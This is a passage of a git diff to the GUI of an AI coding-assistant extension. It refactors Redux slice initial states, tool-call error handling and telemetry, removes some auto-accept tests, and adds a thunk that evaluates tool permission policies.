triggerConfigUpdate } from "../../../util/test/config"; -import { updateConfig } from "../../../redux/slices/configSlice"; -import { renderWithProviders } from "../../../util/test/render"; -import { Chat } from "../Chat"; - -import { waitFor } from "@testing-library/dom"; -import { act } from "@testing-library/react"; -import { ChatMessage } from "core"; -import { setToolPolicy } from "../../../redux/slices/uiSlice"; -import { setInactive } from "../../../redux/slices/sessionSlice"; -import { - getElementByTestId, - getElementByText, - sendInputWithMockedResponse, - verifyNotPresentByTestId, -} from "../../../util/test/utils"; - -const EDIT_WORKSPACE_DIR = "file:///workspace"; -const EDIT_FILEPATH = "test.txt"; -const EDIT_FILE_URI = `${EDIT_WORKSPACE_DIR}/${EDIT_FILEPATH}`; -const EDIT_CHANGES = "New content"; -const EDIT_TOOL_CALL_ID = "known-id"; -const EDIT_MESSAGES: ChatMessage[] = [ - { - role: "assistant", - content: "I'll edit the file for you.", - }, - { - role: "assistant", - content: "", - toolCalls: [ - { - id: EDIT_TOOL_CALL_ID, - function: { - name: BuiltInToolNames.EditExistingFile, - arguments: JSON.stringify({ - filepath: EDIT_FILEPATH, - changes: EDIT_CHANGES, - }), - }, - }, - ], - }, -]; - -const POST_EDIT_RESPONSE = "Edit applied successfully"; -beforeEach(async () => { - vi.clearAllMocks(); - // Clear any persisted state to ensure test isolation - localStorage.clear(); - sessionStorage.clear(); - - // Add a small delay to ensure cleanup is complete - await new Promise((resolve) => setTimeout(resolve, 50)); -}); - -test("Edit run with no policy and yolo mode", { timeout: 15000 }, async () => { - // Additional cleanup before test starts - localStorage.clear(); - sessionStorage.clear(); - await new Promise((resolve) => setTimeout(resolve, 100)); - - // Setup - const { ideMessenger, store, user } = await renderWithProviders(); - - // Reset mocks to ensure clean state - ideMessenger.resetMocks(); - - // Reset streaming state to prevent test interference - store.dispatch(setInactive()); - - // Additional delay to ensure state is fully reset - await new Promise((resolve) => setTimeout(resolve, 100)); - - ideMessenger.responses["getWorkspaceDirs"] = [EDIT_WORKSPACE_DIR]; - ideMessenger.responses["tools/evaluatePolicy"] = { - policy: "allowedWithoutPermission", - }; - - // Mock context/getSymbolsForFiles to prevent errors during streaming - ideMessenger.responses["context/getSymbolsForFiles"] = {}; - - const messengerPostSpy = vi.spyOn(ideMessenger, "post"); - const messengerRequestSpy = vi.spyOn(ideMessenger, "request"); - - // Instead of using addAndSelectMockLlm (which relies on events that might be failing), - // directly dispatch the config update to set the selected model - const currentConfig = store.getState().config.config; - store.dispatch( - updateConfig({ - ...currentConfig, - selectedModelByRole: { - ...currentConfig.selectedModelByRole, - chat: { - model: "mock", - provider: "mock", - title: "Mock LLM", - underlyingProviderName: "mock", - }, - }, - modelsByRole: { - ...currentConfig.modelsByRole, - chat: [ - ...(currentConfig.modelsByRole.chat || []), - { - model: "mock", - provider: "mock", - title: "Mock LLM", - underlyingProviderName: "mock", - }, - ], - }, - }), - ); - - // Enable automatic edit and yolo mode - store.dispatch( - setToolPolicy({ - toolName: BuiltInToolNames.EditExistingFile, - policy: "allowedWithoutPermission", - }), - ); - triggerConfigUpdate({ - store, - ideMessenger, - editConfig: (current) => { - current.ui = { - ...current.ui, - autoAcceptEditToolDiffs: true, // Enable auto-accept for edit tool diffs - }; - return current; - }, - }); - expect(store.getState().config.config.ui?.autoAcceptEditToolDiffs).toBe(true); - - // Send the input that will respond with an edit tool call - await sendInputWithMockedResponse( - ideMessenger, - "Edit this file", - EDIT_MESSAGES, - ); - - // Wait for streaming to complete and tool calls to be processed - await act(async () => { - await new Promise((resolve) => setTimeout(resolve, 1000)); - }); - - // Toggle the codeblock and make sure the changes show - const toggleCodeblockChevron = await getElementByTestId("toggle-codeblock"); - - await user.click(toggleCodeblockChevron); - await getElementByText(EDIT_CHANGES); - - // Make sure there's no pending tool call - await verifyNotPresentByTestId( - generateToolCallButtonTestId("accept", EDIT_TOOL_CALL_ID), - ); - // Tool call, check that applyToFile was called for edit - await waitFor(() => { - expect(messengerRequestSpy).toHaveBeenCalledWith("applyToFile", { - streamId: expect.any(String), - filepath: EDIT_FILE_URI, - text: EDIT_CHANGES, - toolCallId: EDIT_TOOL_CALL_ID, - }); - }); - - // Extract stream ID and initiate mock streaming - const streamId = messengerRequestSpy.mock.calls.find( - (call) => call[0] === "applyToFile", - )?.[1]?.streamId; - expect(streamId).toBeDefined(); - - ideMessenger.mockMessageToWebview("updateApplyState", { - status: "streaming", - streamId, - toolCallId: EDIT_TOOL_CALL_ID, - filepath: EDIT_FILE_URI, - }); - - // Mid stream, should show applying in notch - await getElementByTestId("notch-applying-text"); - await getElementByTestId("notch-applying-cancel-button"); - - // Close the stream - ideMessenger.mockMessageToWebview("updateApplyState", { - status: "done", - streamId, - toolCallId: EDIT_TOOL_CALL_ID, - filepath: EDIT_FILE_URI, - }); - - // Set the chat response text before the auto-accept triggers - ideMessenger.setChatResponseText(POST_EDIT_RESPONSE); - - await waitFor(() => { - expect(messengerPostSpy).toHaveBeenCalledWith("acceptDiff", { - streamId, - filepath: EDIT_FILE_URI, - }); - }); - - // Close the stream, ensure response is shown and diff buttons are not present - ideMessenger.mockMessageToWebview("updateApplyState", { - status: "closed", - streamId, - toolCallId: EDIT_TOOL_CALL_ID, - filepath: EDIT_FILE_URI, - }); - - // Allow time for the auto-streaming to complete - await new Promise((resolve) => setTimeout(resolve, 1000)); - - await verifyNotPresentByTestId("edit-accept-button"); - await verifyNotPresentByTestId("edit-reject-button"); - - // Try to manually trigger the streaming by checking if the response is set - await act(async () => { - await new Promise((resolve) => setTimeout(resolve, 500)); - }); - - // TODO: Fix this test - the POST_EDIT_RESPONSE is not being displayed - // await waitFor(() => getElementByText(POST_EDIT_RESPONSE), { - // timeout: 8000, - // }); -}); diff --git a/gui/src/pages/history/history.test.tsx b/gui/src/pages/history/history.test.tsx index 8ab4f2862..8cc01a7ff 100644 --- a/gui/src/pages/history/history.test.tsx +++ b/gui/src/pages/history/history.test.tsx @@ -1,15 +1,37 @@ import { screen } from "@testing-library/dom"; +import { MockIdeMessenger } from "../../context/MockIdeMessenger"; import { renderWithProviders } from "../../util/test/render"; import HistoryPage from "./index"; +const mockIdeMessenger = new MockIdeMessenger(); +mockIdeMessenger.responses["history/list"] = [ + { + title: "Session 1", + sessionId: "session-1", + dateCreated: new Date().toString(), + workspaceDirectory: "/tmp", + }, + { + title: "Remote Agent", + sessionId: "remote-agent-123", + dateCreated: new Date().toString(), + workspaceDirectory: "", + isRemote: true, + remoteId: "agent-123", + }, +]; describe("history Page test", () => { it("History text is existed after render", async () => { - await renderWithProviders(); + await renderWithProviders(, { + mockIdeMessenger, + }); expect(screen.getByTestId("history-sessions-note")).toBeInTheDocument(); }); it("History shows the first item in the list", async () => { - await renderWithProviders(); + await renderWithProviders(, { + mockIdeMessenger, + }); const sessionElement = await screen.findByText( "Session 1", {}, diff --git a/gui/src/redux/selectors/index.ts b/gui/src/redux/selectors/index.ts index 8247e56e0..99f6f659f 100644 --- a/gui/src/redux/selectors/index.ts +++ b/gui/src/redux/selectors/index.ts @@ -22,6 +22,7 @@ export const selectSlashCommandComboBoxInputs = createSelector( description: cmd.description, type: "slashCommand" as ComboBoxItemType, content: content, + source: cmd.source, } as ComboBoxItem; }) || [] ); diff --git a/gui/src/redux/selectors/selectToolCalls.ts b/gui/src/redux/selectors/selectToolCalls.ts index 23a586110..a65f70140 100644 --- a/gui/src/redux/selectors/selectToolCalls.ts +++ b/gui/src/redux/selectors/selectToolCalls.ts @@ -50,7 +50,9 @@ export const selectApplyStateByToolCallId = createSelector( (_store: RootState, toolCallId: string) => toolCallId, ], (applyStates, toolCallId) => { - return applyStates.states.find((state) => state.toolCallId === toolCallId); + return applyStates.states.findLast( + (state) => state.toolCallId === toolCallId, + ); }, ); diff --git a/gui/src/redux/slices/configSlice.ts b/gui/src/redux/slices/configSlice.ts index 0deb9f6e4..678354655 100644 --- a/gui/src/redux/slices/configSlice.ts +++ b/gui/src/redux/slices/configSlice.ts @@ -36,7 +36,7 @@ export const EMPTY_CONFIG: BrowserSerializedContinueConfig = { rules: [], }; -const initialState: ConfigState = { +export const INITIAL_CONFIG_SLICE: ConfigState = { configError: undefined, config: EMPTY_CONFIG, loading: false, @@ -44,7 +44,7 @@ const initialState: ConfigState = { export const configSlice = createSlice({ name: "config", - initialState, + initialState: INITIAL_CONFIG_SLICE, reducers: { setConfigResult: ( state, diff --git a/gui/src/redux/slices/editState.ts b/gui/src/redux/slices/editState.ts index 74379b29f..c76351e4c 100644 --- a/gui/src/redux/slices/editState.ts +++ b/gui/src/redux/slices/editState.ts @@ -18,7 +18,7 @@ export const INITIAL_EDIT_APPLY_STATE: ApplyState = { status: "not-started", }; -const initialState: EditState = { +export const INITIAL_EDIT_STATE: EditState = { applyState: INITIAL_EDIT_APPLY_STATE, codeToEdit: [], returnToMode: "chat", @@ -28,7 +28,7 @@ const initialState: EditState = { export const editStateSlice = createSlice({ name: "editState", - initialState, + initialState: INITIAL_EDIT_STATE, reducers: { setReturnToModeAfterEdit: ( state, diff --git a/gui/src/redux/slices/indexingSlice.ts b/gui/src/redux/slices/indexingSlice.ts index 6f5bad403..724167878 100644 --- a/gui/src/redux/slices/indexingSlice.ts +++ b/gui/src/redux/slices/indexingSlice.ts @@ -8,7 +8,7 @@ export type IndexingState = { }; }; -const initialState: IndexingState = { +export const INITIAL_INDEXING_STATE: IndexingState = { indexing: { statuses: {}, hiddenChatPeekTypes: { @@ -19,7 +19,7 @@ const initialState: IndexingState = { export const indexingSlice = createSlice({ name: "indexing", - initialState, + initialState: INITIAL_INDEXING_STATE, reducers: { updateIndexingStatus: ( state, diff --git a/gui/src/redux/slices/profilesSlice.ts b/gui/src/redux/slices/profilesSlice.ts index a60c7b775..f63c797a9 100644 --- a/gui/src/redux/slices/profilesSlice.ts +++ b/gui/src/redux/slices/profilesSlice.ts @@ -19,7 +19,7 @@ export interface ProfilesState { preferencesByProfileId: Record; } -const initialState: ProfilesState = { +export const INITIAL_PROFILES_STATE: ProfilesState = { preferencesByProfileId: {}, selectedProfileId: null, selectedOrganizationId: null, @@ -51,7 +51,7 @@ const initialState: ProfilesState = { export const profilesSlice = createSlice({ name: "profiles", - initialState, + initialState: INITIAL_PROFILES_STATE, reducers: { setSelectedProfile: (state, { payload }: PayloadAction) => { state.selectedProfileId = payload; diff --git a/gui/src/redux/slices/sessionSlice.ts b/gui/src/redux/slices/sessionSlice.ts index 1a0cd3a58..0c20cdf89 100644 --- a/gui/src/redux/slices/sessionSlice.ts +++ b/gui/src/redux/slices/sessionSlice.ts @@ -9,6 +9,7 @@ import { JSONContent } from "@tiptap/react"; import { ApplyState, AssistantChatMessage, + BaseSessionMetadata, ChatHistoryItem, ChatMessage, ContextItem, @@ -16,16 +17,15 @@ import { FileSymbolMap, MessageModes, PromptLog, - RuleWithSource, + RuleMetadata, Session, - BaseSessionMetadata, ThinkingChatMessage, Tool, ToolCallDelta, ToolCallState, } from "core"; import type { RemoteSessionMetadata } from "core/control-plane/client"; -import { BuiltInToolNames } from "core/tools/builtIn"; +import { mergeReasoningDetails } from "core/llm/openaiTypeConverters"; import { NEW_SESSION_TITLE } from "core/util/constants"; import { renderChatMessage, @@ -36,7 +36,7 @@ import { findLastIndex } from "lodash"; import { v4 as uuidv4 } from "uuid"; import { type InlineErrorMessageType } from "../../components/mainInput/InlineErrorMessage"; import { toolCallCtxItemToCtxItemWithId } from "../../pages/gui/ToolCallDiv/utils"; -import { addToolCallDeltaToState } from "../../util/toolCallState"; +import { addToolCallDeltaToState, isEditTool } from "../../util/toolCallState"; import { RootState } from "../store"; import { streamResponseThunk } from "../thunks/streamResponse"; import { findChatHistoryItemByToolCallId, findToolCallById } from "../util"; @@ -51,13 +51,10 @@ import { findChatHistoryItemByToolCallId, findToolCallById } from "../util"; function filterMultipleEditToolCalls( toolCalls: ToolCallDelta[], ): ToolCallDelta[] { - const editToolNames = [BuiltInToolNames.EditExistingFile]; let hasSeenEditTool = false; return toolCalls.filter((toolCall) => { - const isEditTool = editToolNames.includes(toolCall.function?.name as any); - - if (isEditTool) { + if (toolCall.function?.name && isEditTool(toolCall.function?.name)) { if (hasSeenEditTool) { return false; // Skip this duplicate edit tool } @@ -228,7 +225,7 @@ type SessionState = { compactionLoading: Record; // Track compaction loading by message index }; -const initialState: SessionState = { +export const INITIAL_SESSION_STATE: SessionState = { isSessionMetadataLoading: false, allSessionMetadata: [], history: [], @@ -250,7 +247,7 @@ const initialState: SessionState = { export const sessionSlice = createSlice({ name: "session", - initialState, + initialState: INITIAL_SESSION_STATE, reducers: { addPromptCompletionPair: ( state, @@ -306,7 +303,10 @@ export const sessionSlice = createSlice({ // Cancel any tool calls that are dangling and generated if (message.toolCallStates) { message.toolCallStates.forEach((toolCallState) => { - if (toolCallState.status === "generated") { + if ( + toolCallState.status === "generated" || + toolCallState.status === "generating" + ) { toolCallState.status = "canceled"; } }); @@ -501,7 +501,7 @@ export const sessionSlice = createSlice({ payload, }: PayloadAction<{ index: number; - appliedRules: RuleWithSource[]; + appliedRules: RuleMetadata[]; }>, ) => { if (state.history[payload.index]) { @@ -650,6 +650,29 @@ export const sessionSlice = createSlice({ ) { handleStreamingToolCallUpdates(message, lastItem); } + + // Attach Responses API output item id to the current assistant message if present + // fromResponsesChunk sets message.metadata.responsesOutputItemId when it sees output_item.added for messages + if ( + message.role === "assistant" && + lastMessage.role === "assistant" && + message.metadata?.responsesOutputItemId + ) { + lastMessage.metadata = lastMessage.metadata || {}; + lastMessage.metadata.responsesOutputItemId = message.metadata + .responsesOutputItemId as string; + } + + if ( + message.role === "thinking" && + message.reasoning_details && + lastMessage.role === "thinking" + ) { + lastMessage.reasoning_details = mergeReasoningDetails( + lastMessage.reasoning_details, + message.reasoning_details, + ); + } } } }, @@ -849,7 +872,7 @@ export const sessionSlice = createSlice({ ); } }, - setToolCallArgs: ( + setProcessedToolCallArgs: ( state, action: PayloadAction<{ toolCallId: string; @@ -861,7 +884,7 @@ export const sessionSlice = createSlice({ action.payload.toolCallId, ); if (toolCallState) { - toolCallState.parsedArgs = action.payload.newArgs; + toolCallState.processedArgs = action.payload.newArgs; } }, cancelToolCall: ( @@ -882,6 +905,7 @@ export const sessionSlice = createSlice({ state, action: PayloadAction<{ toolCallId: string; + output?: ContextItem[]; // optional for convenience }>, ) => { const toolCallState = findToolCallById( @@ -890,6 +914,9 @@ export const sessionSlice = createSlice({ ); if (toolCallState) { toolCallState.status = "errored"; + if (action.payload.output) { + toolCallState.output = action.payload.output; + } } }, acceptToolCall: ( @@ -1039,7 +1066,7 @@ export const { acceptToolCall, setToolGenerated, updateToolCallOutput, - setToolCallArgs, + setProcessedToolCallArgs, setMode, setIsSessionMetadataLoading, setAllSessionMetadata, diff --git a/gui/src/redux/slices/tabsSlice.ts b/gui/src/redux/slices/tabsSlice.ts index 47415e699..fb63e5782 100644 --- a/gui/src/redux/slices/tabsSlice.ts +++ b/gui/src/redux/slices/tabsSlice.ts @@ -14,7 +14,7 @@ interface TabsState { tabs: Tab[]; } -const initialState: TabsState = { +export const INITIAL_TABS_STATE: TabsState = { tabs: [ { id: Date.now().toString(36) + Math.random().toString(36).substring(2), @@ -28,7 +28,7 @@ const initialState: TabsState = { export const tabsSlice = createSlice({ name: "tabs", - initialState, + initialState: INITIAL_TABS_STATE, reducers: { setTabs: (state, action: PayloadAction) => { state.tabs = action.payload; diff --git a/gui/src/redux/slices/uiSlice.ts b/gui/src/redux/slices/uiSlice.ts index 48c23bd9b..e261af346 100644 --- a/gui/src/redux/slices/uiSlice.ts +++ b/gui/src/redux/slices/uiSlice.ts @@ -1,7 +1,7 @@ +import { ToolPolicy } from "@continuedev/terminal-security"; import { createSlice, PayloadAction } from "@reduxjs/toolkit"; import { RuleWithSource, Tool } from "core"; -import { ToolPolicy } from "@continuedev/terminal-security"; -import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "core/tools/builtIn"; +import { BUILT_IN_GROUP_NAME } from "core/tools/builtIn"; import { defaultOnboardingCardState, OnboardingCardState, @@ -18,7 +18,7 @@ export type ToolGroupPolicies = { [toolGroupName: string]: ToolGroupPolicy }; type UIState = { showDialog: boolean; - dialogMessage: string | JSX.Element | undefined; + dialogMessage: JSX.Element | undefined; dialogEntryOn: boolean; onboardingCard: OnboardingCardState; isExploreDialogOpen: boolean; @@ -32,26 +32,27 @@ type UIState = { export const DEFAULT_TOOL_SETTING: ToolPolicy = "allowedWithPermission"; export const DEFAULT_RULE_SETTING: RulePolicy = "on"; +export const DEFAULT_UI_SLICE: UIState = { + showDialog: false, + dialogMessage: undefined, + dialogEntryOn: false, + onboardingCard: defaultOnboardingCardState, + isExploreDialogOpen: + getLocalStorage(LocalStorageKey.IsExploreDialogOpen) ?? false, + hasDismissedExploreDialog: + getLocalStorage(LocalStorageKey.HasDismissedExploreDialog) ?? false, + shouldAddFileForEditing: false, + ttsActive: false, + toolSettings: {}, + toolGroupSettings: { + [BUILT_IN_GROUP_NAME]: "include", + }, + ruleSettings: {}, +}; export const uiSlice = createSlice({ name: "ui", - initialState: { - showDialog: false, - dialogMessage: "", - dialogEntryOn: false, - onboardingCard: defaultOnboardingCardState, - isExploreDialogOpen: getLocalStorage(LocalStorageKey.IsExploreDialogOpen), - hasDismissedExploreDialog: getLocalStorage( - LocalStorageKey.HasDismissedExploreDialog, - ), - shouldAddFileForEditing: false, - ttsActive: false, - toolSettings: {}, - toolGroupSettings: { - [BUILT_IN_GROUP_NAME]: "include", - }, - ruleSettings: {}, - } as UIState, + initialState: DEFAULT_UI_SLICE, reducers: { setOnboardingCard: ( state, diff --git a/gui/src/redux/store.ts b/gui/src/redux/store.ts index 0bd38f1fd..73b425f5d 100644 --- a/gui/src/redux/store.ts +++ b/gui/src/redux/store.ts @@ -35,7 +35,6 @@ const rootReducer = combineReducers({ const saveSubsetFilters = [ createFilter("session", [ - "history", "id", "lastSessionId", "title", @@ -73,7 +72,6 @@ const migrations: MigrationManifest = { defaultModelTitle: oldState?.state?.defaultModelTitle ?? undefined, }, session: { - history: oldState?.state?.history ?? [], id: oldState?.state?.sessionId ?? "", }, tabs: { diff --git a/gui/src/redux/thunks/callToolById.ts b/gui/src/redux/thunks/callToolById.ts index 2fee37ca5..d0da3465f 100644 --- a/gui/src/redux/thunks/callToolById.ts +++ b/gui/src/redux/thunks/callToolById.ts @@ -1,6 +1,7 @@ import { createAsyncThunk, unwrapResult } from "@reduxjs/toolkit"; import { ContextItem } from "core"; import { CLIENT_TOOLS_IMPLS } from "core/tools/builtIn"; +import { ContinueError, ContinueErrorReason } from "core/util/errors"; import posthog from "posthog-js"; import { callClientTool } from "../../util/clientTools/callClientTool"; import { selectSelectedChatModel } from "../slices/configSlice"; @@ -11,16 +12,17 @@ import { setToolCallCalling, updateToolCallOutput, } from "../slices/sessionSlice"; -import { DEFAULT_TOOL_SETTING } from "../slices/uiSlice"; import { ThunkApiType } from "../store"; import { findToolCallById, logToolUsage } from "../util"; import { streamResponseAfterToolCall } from "./streamResponseAfterToolCall"; export const callToolById = createAsyncThunk< void, - { toolCallId: string }, + { toolCallId: string; isAutoApproved?: boolean; depth?: number }, ThunkApiType ->("chat/callTool", async ({ toolCallId }, { dispatch, extra, getState }) => { +>("chat/callTool", async (inputs, { dispatch, extra, getState }) => { + const { toolCallId, isAutoApproved, depth = 0 } = inputs; + const state = getState(); const toolCallState = findToolCallById(state.session.history, toolCallId); if (!toolCallState) { @@ -35,17 +37,9 @@ export const callToolById = createAsyncThunk< // Track tool call acceptance and start timing const startTime = Date.now(); - // Check if this is an auto-approved tool - const toolSettings = state.ui.toolSettings; - const toolPolicy = - toolSettings[toolCallState.toolCall.function.name] ?? - toolCallState.tool?.defaultToolPolicy ?? - DEFAULT_TOOL_SETTING; - const isAutoApproved = toolPolicy === "allowedWithoutPermission"; - const selectedChatModel = selectSelectedChatModel(state); - posthog.capture("gui_tool_call_decision", { + posthog.capture("tool_call_decision", { model: selectedChatModel, decision: isAutoApproved ? "auto_accept" : "accept", toolName: toolCallState.toolCall.function.name, @@ -63,7 +57,7 @@ export const callToolById = createAsyncThunk< ); let output: ContextItem[] | undefined = undefined; - let errorMessage: string | undefined = undefined; + let error: ContinueError | undefined = undefined; let streamResponse: boolean; // IMPORTANT: @@ -80,14 +74,14 @@ export const callToolById = createAsyncThunk< const { output: clientToolOutput, respondImmediately, - errorMessage: clientToolError, + error: clientToolError, } = await callClientTool(toolCallState, { dispatch, ideMessenger: extra.ideMessenger, getState, }); output = clientToolOutput; - errorMessage = clientToolError; + error = clientToolError; streamResponse = respondImmediately; } else { // Tool is called on core side @@ -98,12 +92,17 @@ export const callToolById = createAsyncThunk< throw new Error(result.error); } else { output = result.content.contextItems; - errorMessage = result.content.errorMessage; + error = result.content.errorMessage + ? new ContinueError( + result.content.errorReason || ContinueErrorReason.Unspecified, + result.content.errorMessage, + ) + : undefined; } streamResponse = true; } - if (errorMessage) { + if (error) { dispatch( updateToolCallOutput({ toolCallId, @@ -112,7 +111,7 @@ export const callToolById = createAsyncThunk< icon: "problems", name: "Tool Call Error", description: "Tool Call Failed", - content: `${toolCallState.toolCall.function.name} failed with the message: ${errorMessage}\n\nPlease try something else or request further instructions.`, + content: `${toolCallState.toolCall.function.name} failed with the message: ${error.message}\n\nPlease try something else or request further instructions.`, hidden: false, }, ], @@ -129,16 +128,16 @@ export const callToolById = createAsyncThunk< // Capture telemetry for tool call execution outcome with duration const duration_ms = Date.now() - startTime; - posthog.capture("gui_tool_call_outcome", { + posthog.capture("tool_call_outcome", { model: selectedChatModel, - succeeded: errorMessage === undefined, + succeeded: !error, toolName: toolCallState.toolCall.function.name, - errorMessage: errorMessage, + errorReason: error?.reason, duration_ms: duration_ms, }); if (streamResponse) { - if (errorMessage) { + if (error) { logToolUsage(toolCallState, false, false, extra.ideMessenger, output); dispatch( errorToolCall({ @@ -158,6 +157,7 @@ export const callToolById = createAsyncThunk< const wrapped = await dispatch( streamResponseAfterToolCall({ toolCallId, + depth: depth + 1, }), ); unwrapResult(wrapped); diff --git a/gui/src/redux/thunks/cancelToolCall.ts b/gui/src/redux/thunks/cancelToolCall.ts index 141ee3229..b532fe0bc 100644 --- a/gui/src/redux/thunks/cancelToolCall.ts +++ b/gui/src/redux/thunks/cancelToolCall.ts @@ -27,7 +27,7 @@ export const cancelToolCallThunk = createAsyncThunk< if (toolCallState) { // Track tool call rejection - posthog.capture("gui_tool_call_decision", { + posthog.capture("tool_call_decision", { model: selectedChatModel, decision: "reject", toolName: toolCallState.toolCall.function.name, diff --git a/gui/src/redux/thunks/edit.ts b/gui/src/redux/thunks/edit.ts index 700d49d55..c2192ab9e 100644 --- a/gui/src/redux/thunks/edit.ts +++ b/gui/src/redux/thunks/edit.ts @@ -109,11 +109,7 @@ export const exitEdit = createAsyncThunk< if (openNewSession || state.editModeState.lastNonEditSessionWasEmpty) { dispatch(newSession()); } else { - await dispatch( - loadLastSession({ - saveCurrentSession: false, - }), - ); + await dispatch(loadLastSession()); } dispatch(setMode(state.editModeState.returnToMode)); diff --git a/gui/src/redux/thunks/enhanceParsedArgs.ts b/gui/src/redux/thunks/enhanceParsedArgs.ts deleted file mode 100644 index c3377e345..000000000 --- a/gui/src/redux/thunks/enhanceParsedArgs.ts +++ /dev/null @@ -1,52 +0,0 @@ -import { BuiltInToolNames } from "core/tools/builtIn"; -import { resolveRelativePathInDir } from "core/util/ideUtils"; -import { getUriPathBasename } from "core/util/uri"; -import { IIdeMessenger } from "../../context/IdeMessenger"; -import { setToolCallArgs } from "../slices/sessionSlice"; -import { AppThunkDispatch } from "../store"; - -export async function enhanceParsedArgs( - ideMessenger: IIdeMessenger, - dispatch: AppThunkDispatch, - toolName: string | undefined, - toolCallId: string, - currentArgs: undefined | Record, -) { - // Add file content to parsedArgs for find/replace tools - let enhancedArgs = { ...currentArgs }; - if ( - (toolName === BuiltInToolNames.SingleFindAndReplace || - toolName === BuiltInToolNames.MultiEdit) && - currentArgs?.filepath && - !currentArgs?.editingFileContents - ) { - try { - const fileUri = await resolveRelativePathInDir( - currentArgs.filepath, - ideMessenger.ide, - ); - if (!fileUri) { - throw new Error(`File ${currentArgs.filepath} not found`); - } - const baseName = getUriPathBasename(fileUri); - const fileContent = await ideMessenger.ide.readFile(fileUri); - enhancedArgs = { - ...currentArgs, - fileUri, - baseName, - editingFileContents: fileContent, - }; - dispatch( - setToolCallArgs({ - toolCallId, - newArgs: enhancedArgs, - }), - ); - } catch (error) { - // If we can't read the file, let the tool handle the error - console.warn( - `Failed to enhance args: failed to read file ${currentArgs?.filepath}`, - ); - } - } -} diff --git a/gui/src/redux/thunks/evaluateToolPolicies.ts b/gui/src/redux/thunks/evaluateToolPolicies.ts new file mode 100644 index 000000000..7874edabd --- /dev/null +++ b/gui/src/redux/thunks/evaluateToolPolicies.ts @@ -0,0 +1,121 @@ +import { ToolPolicy } from "@continuedev/terminal-security"; +import { Tool, ToolCallState } from "core"; +import { IIdeMessenger } from "../../context/IdeMessenger"; +import { isEditTool } from "../../util/toolCallState"; +import { errorToolCall, updateToolCallOutput } from "../slices/sessionSlice"; +import { DEFAULT_TOOL_SETTING, ToolPolicies } from "../slices/uiSlice"; +import { AppThunkDispatch } from "../store"; + +interface EvaluatedPolicy { + policy: ToolPolicy; + displayValue?: string; + toolCallState: ToolCallState; +} + +/** + * Evaluates the tool policy for a tool call, including dynamic policy evaluation + * Note that tool group policies are not considered here because activeTools already excludes disabled groups + */ +async function evaluateToolPolicy( + ideMessenger: IIdeMessenger, + activeTools: Tool[], + toolCallState: ToolCallState, + toolPolicies: ToolPolicies, +): Promise { + // allow edit tool calls without permission + if (isEditTool(toolCallState.toolCall.function.name)) { + return { policy: "allowedWithoutPermission", toolCallState }; + } + + const basePolicy = + toolPolicies[toolCallState.toolCall.function.name] ?? + activeTools.find( + (tool) => tool.function.name === toolCallState.toolCall.function.name, + )?.defaultToolPolicy ?? + DEFAULT_TOOL_SETTING; + + const toolName = toolCallState.toolCall.function.name; + const result = await ideMessenger.request("tools/evaluatePolicy", { + toolName, + basePolicy, + parsedArgs: toolCallState.parsedArgs, + processedArgs: toolCallState.processedArgs, + }); + + // Evaluate the policy dynamically + if (result.status === "error") { + console.error(`Error evaluating tool policy for ${toolName}`, result.error); + return { policy: "disabled", toolCallState }; + } + + const dynamicPolicy = result.content.policy; + const displayValue = result.content.displayValue; + + // Ensure dynamic policy cannot be more lenient than base policy + // Policy hierarchy (most restrictive to least): disabled > allowedWithPermission > allowedWithoutPermission + if (basePolicy === "disabled") { + return { policy: "disabled", displayValue, toolCallState }; // Cannot override disabled + } + if ( + basePolicy === "allowedWithPermission" && + dynamicPolicy === "allowedWithoutPermission" + ) { + return { policy: "allowedWithPermission", displayValue, toolCallState }; // Cannot make more lenient + } + + return { policy: dynamicPolicy, displayValue, toolCallState }; +} + +/* + 1. Get arg-dependent tool policies from core + 2. Mark any disabled ones as errored + 3. Mark others as generated +*/ +export async function evaluateToolPolicies( + dispatch: AppThunkDispatch, + ideMessenger: IIdeMessenger, + activeTools: Tool[], + generatedToolCalls: ToolCallState[], + toolPolicies: ToolPolicies, +): Promise { + // Check if ALL tool calls are auto-approved using dynamic evaluation + const policyResults = await Promise.all( + generatedToolCalls.map((toolCallState) => + evaluateToolPolicy( + ideMessenger, + activeTools, + toolCallState, + toolPolicies, + ), + ), + ); + + const disabledResults = policyResults.filter( + ({ policy }) => policy === "disabled", + ); + + for (const { displayValue, toolCallState } of disabledResults) { + dispatch(errorToolCall({ toolCallId: toolCallState.toolCallId })); + + // Use the displayValue from the policy evaluation, or fallback to function name + const command = displayValue || toolCallState.toolCall.function.name; + + // Add error message explaining why it's disabled + dispatch( + updateToolCallOutput({ + toolCallId: toolCallState.toolCallId, + contextItems: [ + { + icon: "problems", + name: "Security Policy Violation", + description: "Command Disabled", + content: `This command has been disabled by security policy:\n\n${command}\n\nThis command cannot be executed as it may pose a security risk.`, + hidden: false, + }, + ], + }), + ); + } + + return policyResults; +} diff --git a/gui/src/redux/thunks/handleApplyStateUpdate.test.ts b/gui/src/redux/thunks/handleApplyStateUpdate.test.ts index 46ae54c35..2e426b7d7 100644 --- a/gui/src/redux/thunks/handleApplyStateUpdate.test.ts +++ b/gui/src/redux/thunks/handleApplyStateUpdate.test.ts @@ -161,61 +161,6 @@ describe("handleApplyStateUpdate", () => { expect.objectContaining({ type: "session/updateApplyState" }), ); }); - - it("should auto-accept diffs when configured and status is done", async () => { - mockGetState.mockReturnValue({ - config: { - config: { - ui: { - autoAcceptEditToolDiffs: true, - }, - }, - }, - session: { history: [] }, - }); - - const applyState: ApplyState = { - streamId: "chat-stream", - toolCallId: "test-tool-call", - status: "done", - filepath: "test.txt", - numDiffs: 1, - }; - - const thunk = handleApplyStateUpdate(applyState); - await thunk(mockDispatch, mockGetState, mockExtra); - - expect(mockExtra.ideMessenger.post).toHaveBeenCalledWith("acceptDiff", { - streamId: "chat-stream", - filepath: "test.txt", - }); - }); - - it("should not auto-accept when config is disabled", async () => { - mockGetState.mockReturnValue({ - config: { - config: { - ui: { - autoAcceptEditToolDiffs: false, - }, - }, - }, - session: { history: [] }, - }); - - const applyState: ApplyState = { - streamId: "chat-stream", - toolCallId: "test-tool-call", - status: "done", - filepath: "test.txt", - numDiffs: 1, - }; - - const thunk = handleApplyStateUpdate(applyState); - await thunk(mockDispatch, mockGetState, mockExtra); - - expect(mockExtra.ideMessenger.post).not.toHaveBeenCalled(); - }); }); describe("closed status handling", () => { diff --git a/gui/src/redux/thunks/handleApplyStateUpdate.ts b/gui/src/redux/thunks/handleApplyStateUpdate.ts index 1cc2c35d0..a220af51f 100644 --- a/gui/src/redux/thunks/handleApplyStateUpdate.ts +++ 